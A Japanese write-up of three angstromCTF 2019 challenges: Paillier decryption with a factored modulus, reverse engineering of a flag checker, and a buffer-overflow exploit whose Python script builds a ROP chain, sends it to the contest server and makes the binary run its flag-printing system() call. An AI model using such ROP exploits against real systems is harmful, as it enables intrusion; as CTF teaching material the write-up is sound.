angstromCTF 2019 writeup

サーバが落ちる回数が多かったですね…サーバに負荷をかける行為があったんでしょうか．来年改善するのを期待しています．
さて，今年もangstromCTFに参加しました．最近チームに入れてもらいましたが，人数制限ということで一人での参加となりました．

結果は，650点で229位でした．

個人ページ：https://2019.angstromctf.com/teams/4038

今回は，Runes(Crypto,70pts)とHigh_quality_checks(Rev,110pts)とChain_of_Rope(Binary,80pts)のWriteupを書いておきます．

Runes(Crypto,70pts)

Pailliarという公開鍵暗号方式についての問題です．

The year is 20XX. ångstromCTF only has pwn challenges, and the winner is solely determined by who can establish a socket connection first. In the data remnants of an ancient hard disk, we've recovered a string of letters and digits. The only clue is the etching on the disk's surface: Paillier.

与えられるファイルの内容は以下の通りです．

n: 99157116611790833573985267443453374677300242114595736901854871276546481648883
g: 99157116611790833573985267443453374677300242114595736901854871276546481648884
c: 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869

Pailliar暗号は，1999年に開発され，RSA暗号と同じく二つの巨大な素数の積の素因数分解の困難さを安全性の根拠としている暗号(らしい)です．(n, g)が公開鍵です．n=p*q(p,q∈素数)として，(p, q)が秘密鍵です．Pailliar暗号の復号は，平文を，暗号文をとして，次の計算で行います．
ただし，
あとはこの定義に従ってやるだけですが，平文を求める式の分数の分母というのは実数の世界の割り算ではなく，を法とする剰余類環の積についての逆元を掛ける操作であることに注意してください．
を法とする剰余類環の零元以外の元についてその逆元を求めてみます．
いま，ですが，これを一次不定方程式に直すと，になります．この一次不定方程式を満たすとの解の組を求め，そのうち条件を満たすを選べば，逆元が求まります．
www.mathlion.jp
また，は，で求まります．
さて，以上のことから，ざっくりと以下のようなことを行います．

１．nを素因数分解する
２．を求める
３．とを求める
４．と{}を求める
５．平文を求める

ここで，当然のことながら１が問題になります．しかしながら，factordb.comというサービスに今回のnの素因数分解のデータが載っていました．
↓は今回のnの値をクエリにして因数分解のデータがあるか確かめた結果です．
factordb.com
この結果を利用すれば，平文を求められます．
きったないコードを掘り出して少し改造したものですが，確認にお使いください

#--------PLEASE SET SOME VALUES---------

def set_values():
    p = 310013024566643256138761337388255591613
    q = 319848228152346890121384041219876391791
    g = 99157116611790833573985267443453374677300242114595736901854871276546481648884
    c = 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869
    return p, q, g, c

#---------------------------------------

#return GCD(a, b)
def gcd(a, b):
    while not a % b == 0:
        tmp=b
        b = a%b
        a = tmp

    return b

#Extended_Euclidean_algorithm
def extend_gcd(a, b, c):
    if a<0 and b<0:
        a=-a
        b=-b
        c=-c
    
    x1=y2=1
    x2=y1=0
    
    num_a=a
    num_b=b
    
    if a<0:
        x1=-1
        num_a=-num_a
    elif b<0:
        y2=-1
        num_b=-num_b

    g=gcd(num_a, num_b)
    mul=c//g
    
    while not num_a % num_b == 0:
        tmp_x=x2
        tmp_y=y2

        q=num_a//num_b
        
        x2=x1-x2*q
        y2=y1-y2*q
        x1=tmp_x
        y1=tmp_y

        tmp=num_b
        num_b=num_a%num_b
        num_a=tmp

    return x2*mul, y2*mul

#calculate (base^exp) mod n
def solve_exp_mod(base,exp,n):

    expbin=format(exp,'b')
    expbintext=str(expbin)
    
    plaintext=1
    
    for c in expbintext:
        if c=='1':
            plaintext=plaintext*plaintext*base%n
        else:
            plaintext=plaintext*plaintext%n

    return plaintext

def L(u, n):
    return (u - 1) // n

def main():

    p, q, g, c = set_values()

    n=p*q
    en=(p-1)*(q-1)

    l = en // gcd(p-1, q-1)
    g_rev ,dummy = extend_gcd(L(solve_exp_mod(g, l, n*n), n), -n, 1)

    plaintext = L(solve_exp_mod(c, l, n*n), n) * g_rev % n
        
    print("Plain text is ...")
    print("-- dec version --")
    print(plaintext)
    print("-- hex version --")
    print(format(plaintext,'x'))
    
if __name__=="__main__":
    main()

出力：

Plain text is ...
dec version
8483734412270322850839331621532480687141757
hex version
616374667b63727970746f5f6c697665737d

16進数を2桁ごとに区切ってasciiコードで変換すると，
actf{crypto_lives}
が得られます．

High_Quality_Checks(Rev,110pts)

After two break-ins to his shell server, kmh got super paranoid about a third! He's so paranoid that he abandoned the traditional password storage method and came up with this monstrosity! I reckon he used the flag as the password, can you find it?

　与えられたプログラムを走らせると"input: "と表示され，入力した文字列を検証し，正誤判定を行います．
mainの中身は以下の通りです．

　checkという関数の返り値により，"That's not the flag"か，"You found the flag"が表示されます．また，文字列入力のscanfでは%19sを指定しており，strlenでの分岐の情報もあわせて，フラグ文字列が19文字であることが予想されます．またcheckの引数は入力文字列になっていることがわかります．
　それではこの問題の核心であるcheck関数に入ります．
check関数は，下の図からわかるように，何度も何度も比較命令と分岐を行い，すべてが"うまくいけば"返り値1を返す関数です．

　また，各分岐の前には様々な独自の関数があり，その返り値(eax)が分岐に影響を与えます．そして，それらの関数には多くの場合文字列と何らかの数値を引数として与えています．したがって，各関数ごとに，文字列についての検証が行われると考えられます．

では…１つずつ見ていきましょうか…

[1]

　答えが見えていますがお気になさらず！関数dには，(入力文字列のアドレス+12d)という値をrdiを通じて渡しています．関数dの中身を見てみましょう．

　まずここでいうrbp+strというスタック変数にrdiすなわち(入力文字列のアドレス+12d)という値を突っ込んでおり，eaxにそのアドレスから4バイト分を代入しています．その値が0x30313763であれば，dは1を返します．したがって，dは「入力文字列の12d+1文字目から4バイトを読み，0x30313763であれば1を返す」関数です．
　つまり，入力すべき文字列の12d+1文字目以降の4文字は，エンディアンに気を付けて，"c710"になります．

[2]

　vという関数に，入力文字列の先頭アドレスの内容，すなわち1文字目のasciiコードをrdiを通じて渡しています．まあ，"actf{…}"の'a'であることは予想できるんですが…vの中身を見てみましょう．

　もとの名前を忘れちゃいましたが，ここでの"sar_edi_1"関数は，引数のediの値を右に1bit算術シフトした値をeaxに返す関数です．関数vは，「XOR(入力文字列の1文字目のasciiコード，0x37)が0xac >> 1すなわち0x56に等しければ1を返す」関数になります．XOR(0x56, 0x37)=0x61ですので，予想通り，入力すべき文字列の1文字目は'a'となります．

[3]

　uという関数に入る前に，入力文字列の17d+1文字目をesiに，16d+1文字目をediに入れています．vの中身を見てみましょう．


　まず，ebx，すなわち16d+1文字目の文字と，0xdc >> 1 = 0x6eが等しいかを比べています．すなわち，入力すべき文字列の16d+1文字目は'n'であるということになります．次に移る前に，今後も出てくる'o'という関数について説明しておきます．

　ちょっとめんどうくさいですが，要はediを引数として，ediが0x60より小さければ上位バイトから(edi)(edi-0x30)(edi)(edi-0x30)である4バイトの値を，ediがediが0x60より大きければ上位バイトから(edi)(edi-0x57)(edi)(edi-0x57)である4バイトの値をeaxを通じて返す関数です．つまり，この関数の返り値について比較している部分があれば，値の上から1バイト目，3バイト目をみればいいことになります．
　ここで，u関数に戻ってみると，入力文字列の17d+1文字目を関数'o'に渡し，返ってきた値が0x35053505という値であればu関数は1を返しますが，これは，入力文字列の17d+1文字目asciiコードが0x35すなわち'5'であればいいことになります．

[4]

　図の2つのブロックの手続きはほぼ同じなのでまとめてやります．kという関数に，1つめのブロックでは5d+1文字目の文字と，2つめのブロックでは9d+1文字目の文字をediに入れてkに渡しています．kの中身を見てみましょう．

　これは単純で，ediの最下位1バイトをoに突っ込み，返り値が0x660f660fであればいいことになります．[3]で述べたことから，ediの値は0x66であればいいことになります．すなわち，5d+1文字目の文字も，9d+1文字目の文字も'f'であればよいことになります．

[5]

　wという関数に，入力文字列の2文字目のアドレスをrdiを通じて渡しています．wの中身を見てみましょう．

　ちょっとごちゃごちゃしていますが，rdiの内容が入力文字列の2文字目のアドレスであることに注意すると，黄色の部分ではvar_7に2+2文字目のasciiコードを，var_6に2+1文字目のasciiコードを，var_5に2文字目のasciiコードを代入しています．空色の部分では，それらを0x00(var_7)(var_6)(var_5)という4バイトの形にしています．そしてそれが0x00667463であればwは1を返します．つまり，入力文字列の2+2文字目=var_7=0x66='f'，2+1文字目=var_6=0x74='t'，2文字目=var_5=0x66='c'であればよく，まとめれば，「入力文字列の2文字目以降の3文字が"ctf"であればよい」ことになります．
　まあ，わざわざこんなことせずとも，2文字目以降が"ctf{…"であることは予想できますし，0x00667463という数値から，wが"ctf"の文字列を確かめていることが想像できると思います．

ここから，エスパー要素が強くなります…

[6]

　[4]と同じように，図の2つのブロックの手続きはほぼ同じなのでまとめてやります．関数bには，入力文字列の先頭アドレスをrdiに，数値をesiに格納して渡します．bの内容を見てみましょう．

　途中でebxに入力文字列の(esi+1)番目の文字が入ります．そして，これと0x7b+(関数eの返り値)が等しければbは1を返します．
eという関数も覗いてみます．

…読むのがめんどくさくなりました…

ということで，[6]の一枚目の図を見ていただくと，esiには0x04または0x12を入れてbに渡しています．これらって，実はフラグが"actf{…}"であること，19文字と推測されることを考えると，'{'と'}'のインデックスにあたります．そして，bの中のcmpの評価基準である0x7bは'{'のasciiコードです．つまり，これらは文字列の5番目が'{'であり，かつ19番目が'}'であるかという評価をしていると考えました．

[7]

　関数zの中身は結構複雑になっています．ここでは載せませんが，僕がわかっていることとしては，「カウンタを0~7まで回してvar_Eとvar_Fの内容を設定する．その後，文字列の開始アドレスとvar_Eやvar_Fを用いて文字を指定し，その文字を検証するということを4回行う」程度です．僕にはvar_Eとvar_Fがどう設定されるかについて，「正解文字列がわからないため，値は特定できないのではないか」と考えて諦め，4回の検証から推理というか，エスパーしました．4回の検証のうち，2回は指定インデックスの文字が'u'であるか，もう2回は指定インデックスの文字が'n'であるかについて検証しています．また，これらの検証過程におけるコードはなんとなく似ています．したがって，4つの検証対象である文字のインデックスには，何らかの規則というか特徴があるのではないかと考えました．
　今までに分かっている，正解と思われる入力は，未定のところを'?'として，以下の通りです．

actf{f???f??c710n5}

　これ，実はもうわかりそうなもの(右の??にunを入れればfunctionと読める)なんですが，問題を解いていた当時では"710n"の配置を間違えて"n017"としてしまっていたので，わかりませんでした．とりあえず次の[8]を解きました．

[8]

　文字列の開始アドレスだけ渡します．sの中身を見てみましょう．

　ざっくり解説すると，まず，カウンタ変数を用意し，文字列を1文字ずつ19文字目まで走査します．その過程で，もしも文字がアンダーバー'_'であれば，別に用意したスタック変数(図ではappropriate_indexes_sum)にそのインデックスの値を足しこみます．文字列の走査が終了したときに，そのスタック変数(図ではappropriate_indexes_sum)の値が9であれば，sは返り値1を返します．
　さて，先ほど入力文字列は，actf{f???f??c710n5}であることを説明しました．appropriate_indexes_sumは入力文字列が'_'であるすべてのインデックスの値を足しこんだものです(インデックスの値を足しこむ前にそのインデックス値がインクリメントされていることに注意してください)．そして，入力文字列はすでに6文字目まで決まっています．したがって，この時点で，sが返り値1を返す条件は，「9文字目が'_'である」ことのただ一つであることがわかります．
　つまり，入力文字列は，さらに次のように絞り込めます．

actf{f??_f??c710n5}

　[7]に戻ります．これに'u'と'n'を2つずつ入れるならば……fun_functionsと読めるactf{fun_func710n5}がふさわしいでしょう．これにて，長い戦いは終わりを告げました．

actf{fun_func710n5}

Chain_of_Rope(Binary,80pts)

defund found out about this cool new dark web browser! While he was browsing the dark web he came across this service that sells rope chains on the black market, but they're super overpriced! He managed to get the source code. Can you get him a rope chain without paying?

渡されるソースコードは以下のようになっています．

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int userToken = 0;
int balance = 0;

int authorize () {
	userToken = 0x1337;
	return 0;
}

int addBalance (int pin) {
	if (userToken == 0x1337 && pin == 0xdeadbeef) {
		balance = 0x4242;
	} else {
		printf("ACCESS DENIED\n");
	}
	return 0;
}

int flag (int pin, int secret) {
	if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) {
		printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n");
		system("/bin/cat flag.txt");
	} else {
		printf("ACCESS DENIED\n");
	}
	return 0;
}

void getInfo () {
	printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance);
}

int main() {
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	char name [32];
	printf("--== ROPE CHAIN BLACK MARKET ==--\n");
	printf("LIMITED TIME OFFER: Sending free flag along with any purchase.\n");
	printf("What would you like to do?\n");
	printf("1 - Set name\n");
	printf("2 - Get user info\n");
	printf("3 - Grant access\n");
	int choice;
	scanf("%d\n", &choice);
	if (choice == 1) {
		gets(name);
	} else if (choice == 2) {
		getInfo();
	} else if (choice == 3) {
		printf("lmao no\n");
	} else {
		printf("I don't know what you're saying so get out of my black market\n");
	}
	return 0;
}

まずは正攻法で．このソースコードを参考にすると，フラグを得るためにやることは次の４つです．

＊．main()のgetsでリターンアドレスを書き換える．
１．authorize関数に制御を移し，グローバル変数userTokenを設定させる．
２．第一引数に0xdeadbeefを設定してaddBalance関数に制御を移し，グローバル変数userTokenを設定させる．
３．第一引数に0xba5eba11を，第二引数に0xbedabb1eを設定してflag関数に制御を移す．

結論からいうと，次のPythonコードを使いました．

import socket
import time

host = "shell.actf.co"
port = 19400

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))

response = client.recv(1024)
print(response.decode("utf-8"))

client.send(b"1\n")

addr_authorize = b"\x96\x11\x40\x00\x00\x00\x00\x00"
addr_addBalance = b"\xab\x11\x40\x00\x00\x00\x00\x00"
addr_flag = b"\xeb\x11\x40\x00\x00\x00\x00\x00"

rop_pop_rdi = b"\x03\x14\x40\x00\x00\x00\x00\x00"
rop_pop_rsi_r15 = b"\x01\x14\x40\x00\x00\x00\x00\x00"

buf = b'A' * 0x38                           # padding
buf += addr_authorize                       # jump to authorize

buf += rop_pop_rdi                          # pop rdi; ret
buf += b"\xef\xbe\xad\xde\x00\x00\x00\x00"  # arg1 for addBalance
buf += addr_addBalance                      # jump to addBalance

buf += rop_pop_rdi                          # pop rdi; ret
buf += b"\x11\xba\x5e\xba\x00\x00\x00\x00"  # arg1 for flag 
buf += rop_pop_rsi_r15                      # pop rsi; pop r15; ret
buf += b"\x1e\xbb\xda\xbe\x00\x00\x00\x00"  # arg2 for flag
buf += b"\x1e\xbb\xda\xbe\x00\x00\x00\x00"  # dummy for r15
buf += addr_flag                            # jump to flag

buf += b'\n'

client.send(buf)

time.sleep(1)

response = client.recv(1024)    # authenticated to rope ......
print(response.decode("utf-8"))

response = client.recv(1024)    # actf{ .......
print(response.decode("utf-8"))

input("[program end]")

ここで注意するべきことは次の３つです．

１．x86-64ではrdi,rsi,....という順番に関数の引数を入れるため，適切な引数を与えてから関数に制御を移すには，まずpop rdi; retなどのROPガジェットを通す必要がある(ただスタックに引数を積むだけではだめ)．
２．pwntools等を使わずに自分でbufを作って送るとき，"\x"を使った文字列を組み合わせてからencodeして送信するやり方ではいけなくて，はじめからb"......."を使ったバイトコードを用いてbufを組み立てる必要がある．
３．ropガジェットを探せるツールを使う．

というわけで，フラグゲットです．

また，ropガジェットを使わなくとも，最終目標である「0x00....00401231のsystem()用のコマンド準備と，0x00....00401238のsystem()を実行させる」ことだけをやればいいと考えれば，次のようなbufでもOKです．

addr_for_getflag_command = b"\x31\x12\x40\x00\x00\x00\x00\x00"

buf = b'A' * 0x38                           # padding
buf += addr_for_getflag_command             # jump to execute system("/bin/sh")

actf{dark_web_bargains}